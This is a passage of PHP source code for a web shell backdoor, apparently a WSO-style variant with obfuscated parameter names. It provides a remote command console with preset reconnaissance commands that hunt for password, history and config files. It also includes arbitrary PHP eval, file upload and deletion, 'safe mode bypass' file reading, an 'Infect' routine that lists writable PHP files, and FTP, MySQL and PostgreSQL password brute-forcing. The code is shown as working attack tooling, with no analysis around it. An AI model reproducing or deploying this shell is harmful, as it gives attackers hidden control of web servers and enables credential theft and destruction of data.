echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['hbtrtr']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['hbtrtr']).'"><input type=submit value="submit"></form>';
break;
case 'touch':
if( !empty($_POST['hnythfdfds']) ) {
$time = strtotime($_POST['hnythfdfds']);
if($time) {
if(!touch($_POST['hbtrtr'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>hnythfdfds_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['hbtrtr']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['hbtrtr'])).'"><input type=submit value="submit"></form>';
break;
/* () 12.2015 mitryz */
case 'frame':
$frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
if ($frameSrc[0] != '/')
$frameSrc = '/' . $frameSrc;
if ($frameSrc[strlen($frameSrc) - 1] != '/')
$frameSrc = $frameSrc . '/';
$frameSrc = $frameSrc . htmlspecialchars($_POST['hbtrtr']);
echo '<iframe width="100%" height="900px" scrolling="no" src='.$frameSrc.' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
break;
}
echo '</div>';
hardFooter();
}
if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
function actionConsole() {
if(!empty($_POST['hbtrtr']) && !empty($_POST['ymterdf'])) {
prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
$_POST['hbtrtr'] .= ' 2>&1';
} elseif(!empty($_POST['hbtrtr']))
prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
if(isset($_POST['ajax'])) {
prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
ob_start();
echo "d.cf.cmd.value='';
";
$temp = @iconv($_POST['fdgwe3'], 'UTF-8', addcslashes("
$ ".$_POST['hbtrtr']."
".ex($_POST['hbtrtr']),"
\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['hbtrtr'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='".$GLOBALS['cwd']."';";
}
}
echo "d.cf.output.value+='".$temp."';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "
", $temp;
exit;
}
if(empty($_POST['ajax'])&&!empty($_POST['hbtrtr']))
prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
hardHeader();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><label><select name=alias>';
foreach($GLOBALS['aliases'] as $n => $v) {
if($v == '') {
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
continue;
}
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
}
echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['ymterdf'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
if(!empty($_POST['hbtrtr'])) {
echo htmlspecialchars("$ ".$_POST['hbtrtr']."
".ex($_POST['hbtrtr']));
}
echo '</textarea><table style="border:1px solid #060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
echo '</form></div><script>d.cf.cmd.focus();</script>';
hardFooter();
}
function actionPhp() {
if( isset($_POST['ajax']) ) {
$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
eval($_POST['hbtrtr']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";
echo strlen($temp), "
", $temp;
exit;
}
hardHeader();
if( isset($_POST['ymterdf']) && ($_POST['ymterdf'] == 'info') ) {
echo '<h1>PHP info</h1><div class=content>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!body {.*}!msiU','',$tmp);
$tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
$tmp = preg_replace('!h1!msiU','h2',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
$tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
echo $tmp;
echo '</div><br>';
}
if(empty($_POST['ajax'])&&!empty($_POST['hbtrtr']))
$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['hbtrtr'])?htmlspecialchars($_POST['hbtrtr']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['hbtrtr'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['hbtrtr'])) {
ob_start();
eval($_POST['hbtrtr']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
hardFooter();
}
function actionFilesMan() {
if (!empty ($_COOKIE['f']))
$_COOKIE['f'] = @unserialize($_COOKIE['f']);
if(!empty($_POST['hbtrtr'])) {
switch($_POST['hbtrtr']) {
case 'uploadFile':
if ( is_array($_FILES['f']['tmp_name']) ) {
foreach ( $_FILES['f']['tmp_name'] as $i => $tmpName ) {
if(!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
echo "Can't upload file!";
}
}
}
break;
case 'mkdir':
if(!@mkdir($_POST['ymterdf']))
echo "Can't create new dir";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($ = readdir($dh) ) !== false) {
$ = $path.$;
if ( (basename($) == "..") || (basename($) == ".") )
continue;
$type = filetype($);
if ($type == "dir")
deleteDir($);
else
@unlink($);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_COOKIE['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
} elseif($_COOKIE['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
} elseif($_COOKIE['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['ymterdf'], 1)) {
chdir($_COOKIE['c']);
foreach($_COOKIE['f'] as $f) {
if($f == '..')
continue;
if(@is_file($_COOKIE['c'].$f))
$zip->addFile($_COOKIE['c'].$f, $f);
elseif(@is_dir($_COOKIE['c'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
} elseif($_COOKIE['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_COOKIE['f'] as $f) {
if($zip->open($_COOKIE['c'].$f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
} elseif($_COOKIE['act'] == 'tar') {
chdir($_COOKIE['c']);
$_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
ex('tar cfzv ' . escapeshellarg($_POST['ymterdf']) . ' ' . implode(' ', $_COOKIE['f']));
chdir($GLOBALS['cwd']);
}
unset($_COOKIE['f']);
setcookie('f', '', time() - 3600);
break;
default:
if(!empty($_POST['hbtrtr'])) {
prototype('act', $_POST['hbtrtr']);
prototype('f', serialize(@$_POST['f']));
prototype('c', @$_POST['c']);
}
break;
}
}
hardHeader();
echo '<h1>File manager</h1><div class=content><script>hbtrtr_=ymterdf_=hnythfdfds_="";</script>';
$dirContent = hardScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can\'t open this folder!';hardFooter(); return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['hbtrtr'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['hbtrtr'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&&($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function cmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "cmp");
usort($dirs, "cmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
.'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
$l = $l?0:1;
}
echo "<tr id=fak><td colspan=7>
<input type=hidden name=ne value=''>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=fdgwe3 value='". (isset($_POST['fdgwe3'])?$_POST['fdgwe3']:'')."'>
<label><select name='hbtrtr'>";
if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
echo "<option value='paste'> Paste</option>";
echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
if(class_exists('ZipArchive'))
echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
echo "<option value='tar'>+ tar.gz</option>";
echo "</select></label>";
if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
echo " file name: <input type=text name=ymterdf value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
echo "<input type='submit' value='submit'></td></tr></form></table></div>";
hardFooter();
}
function actionStringTools() {
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'ASCII to HEX' => 'ascii2hex',
'HEX to ASCII' => 'hex2ascii',
'HEX to DEC' => 'hexdec',
'HEX to BIN' => 'hex2bin',
'DEC to HEX' => 'dechex',
'DEC to BIN' => 'decbin',
'BIN to HEX' => 'binhex',
'BIN to DEC' => 'bindec',
'String to lower case' => 'strtolower',
'String to upper case' => 'strtoupper',
'Htmlspecialchars' => 'htmlspecialchars',
'String length' => 'strlen',
);
if(isset($_POST['ajax'])) {
prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
ob_start();
if(in_array($_POST['hbtrtr'], $stringTools))
echo $_POST['hbtrtr']($_POST['ymterdf']);
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";
echo strlen($temp), "
", $temp;
exit;
}
if(empty($_POST['ajax'])&&!empty($_POST['hbtrtr']))
prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
hardHeader();
echo '<h1>String conversions</h1><div class=content>';
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['hbtrtr'])?'':htmlspecialchars(@$_POST['ymterdf']))."</textarea></form><pre class='ml1' style='".(empty($_POST['hbtrtr'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['hbtrtr'])) {
if(in_array($_POST['hbtrtr'], $stringTools))echo htmlspecialchars($_POST['hbtrtr']($_POST['ymterdf']));
}
echo"</pre></div><br><h1>Search files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='submit'></td></tr>
</table></form>";
function hardRecursiveGlob($path) {
if(substr($path, -1) != '/')
$path.='/';
$paths = @array_unique(@array_merge(@glob($path.$_POST['hnythfdfds']), @glob($path.'*', GLOB_ONLYDIR)));
if(is_array($paths)&&@count($paths)) {
foreach($paths as $) {
if(@is_dir($)){
if($path!=$)
hardRecursiveGlob($);
} else {
if(empty($_POST['ymterdf']) || @strpos(file_get_contents($), $_POST['ymterdf'])!==false)
echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($)."\", \"view\",\"\")'>".htmlspecialchars($)."</a><br>";
}
}
}
}
if(@$_POST['hnythfdfds'])
hardRecursiveGlob($_POST['c']);
echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='hidden' name='act' value='find'/>
<input type='submit' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
<input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='submit' value='fakenamegenerator.com' onclick=\"document.hf.action='http://www.fakenamegenerator.com/';document.hf.submit()\"><br>
<input type='submit' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
<input type='submit' value='toolki.com' onclick=\"document.hf.action='http://toolki.com/';document.hf.submit()\"><br>
<input type='submit' value='fopo.com.ar' onclick=\"document.hf.action='http://fopo.com.ar/';document.hf.submit()\"><br>
<input type='submit' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
</form></div>";
hardFooter();
}
function actionSafeMode() {
$temp='';
ob_start();
switch($_POST['hbtrtr']) {
case 1:
$temp=@tempnam($test, 'cx');
if(@copy("compress.zlib://".$_POST['ymterdf'], $temp)){
echo @file_get_contents($temp);
unlink($temp);
} else
echo 'Sorry... Can\'t open file';
break;
case 2:
$files = glob($_POST['ymterdf'].'*');
if( is_array($files) )
foreach ($files as $filename)
echo $filename."
";
break;
case 3:
$ch = curl_init("file://".$_POST['ymterdf']."".SELF_PATH);
curl_exec($ch);
break;
case 4:
ini_restore("safe_mode");
ini_restore("open_basedir");
include($_POST['ymterdf']);
break;
case 5:
for(;$_POST['ymterdf'] <= $_POST['hnythfdfds'];$_POST['ymterdf']++) {
$uid = @posix_getpwuid($_POST['ymterdf']);
if ($uid)
echo join(':',$uid)."
";
}
break;
case 6:
if(!function_exists('imap_open'))break;
$stream = imap_open($_POST['ymterdf'], "", "");
if ($stream == FALSE)
break;
echo imap_body($stream, 1);
imap_close($stream);
break;
}
$temp = ob_get_clean();
hardHeader();
echo '<h1>Safe mode bypass</h1><div class=content>';
echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value="submit"></form>';
if($temp)
echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
echo '</div>';
hardFooter();
}
function actionLogout() {
setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
die('bye!');
}
function actionSelfRemove() {
if($_POST['hbtrtr'] == 'yes')
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('Shell has been removed');
else
echo 'unlink error!';
if($_POST['hbtrtr'] != 'yes')
hardHeader();
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
hardFooter();
}
function actionInfect() {
hardHeader();
echo '<h1>Infect</h1><div class=content>';
if($_POST['hbtrtr'] == 'infect') {
$target=$_SERVER['DOCUMENT_ROOT'];
function ListFiles($dir) {
if($dh = opendir($dir)) {
$files = Array();
$inner_files = Array();
while($file = readdir($dh)) {
if($file != "." && $file != "..") {
if(is_dir($dir . "/" . $file)) {
$inner_files = ListFiles($dir . "/" . $file);
if(is_array($inner_files)) $files = array_merge($files, $inner_files);
} else {
array_push($files, $dir . "/" . $file);
}
}
}
closedir($dh);
return $files;
}
}
foreach (ListFiles($target) as $key=>$file){
$nFile = substr($file, -4, 4);
if($nFile == ".php" ){
if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){
echo "$file<br>";
$i++;
}
}
}
echo "<font color=red size=14>$i</font>";
}else{
echo "<form method=post><input type=submit value=Infect name=infet></form>";
echo 'Really want to infect the server? <a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
}
hardFooter();
}
function actionBruteforce() {
hardHeader();
if( isset($_POST['proto']) ) {
echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
if( $_POST['proto'] == 'ftp' ) {
function bruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif( $_POST['proto'] == 'mysql' ) {
function bruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
@mysql_close($res);
return $res;
}
} elseif( $_POST['proto'] == 'pgsql' ) {
function bruteForce($ip,$port,$login,$pass) {
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST['server']);
if($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":", $line);
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
}
if(@$_POST['reverse']) {
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
}
}
}
} elseif($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
$success++;
echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
.'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>'
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
.'<input type=hidden name=fdgwe3 value="'.htmlspecialchars($_POST['fdgwe3']).'">'
.'<input type=hidden name=ne value="">'
.'<span>Server:port</span></td>'
.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
.'<tr><td><span>Brute type</span></td>'
.'<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>'
.'<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>'
.'<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>'
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
.'<td><input type=text name=login value="root"></td></tr>'
.'<tr><td><span>Dictionary</span></td>'
